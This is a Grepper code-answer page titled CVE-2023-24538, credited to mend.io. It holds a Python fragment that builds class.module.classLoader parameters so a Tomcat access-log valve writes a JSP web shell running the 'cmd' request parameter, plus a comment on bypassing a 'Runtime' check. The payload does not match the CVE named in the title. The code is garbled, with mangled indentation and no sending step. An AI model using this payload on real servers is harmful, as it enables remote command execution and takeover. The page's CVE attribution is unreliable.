Breaking News: Grepper is joining You.com. Read the official announcement!

CVE-2023-24538

Bored Bee answered on August 15, 2023 Popularity 3/10 Helpfulness 1/10

answer CVE-2023-24538

CVE-2023-24538

Comment

post_headers = {"Content-Type": "application/x-www-form-urlencoded"}
get_headers = {"prefix": "<%", "suffix": "%>//", "c": "Runtime",}
# “"c": "Runtime" - This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern
def run_exploit(url, directory, filename):
log_pattern =
"class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
           f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
           f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
           f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"
    log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
    log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
    log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
    log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

    exp_data = "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format])

Popularity 3/10 Helpfulness 1/10 Language whatever

Source: www.mend.io

Tags: whatever

Link to this answer
Share Copy Link

Contributed on Aug 15 2023

Bored Bee

0 Answers Avg Quality 2/10

CVE-2023-24538

Contents

More Related Answers

CVE-2023-24538

Grepper

Documentation

Social

Legal

Contact

Oops, You will need to install Grepper and log-in to perform this action.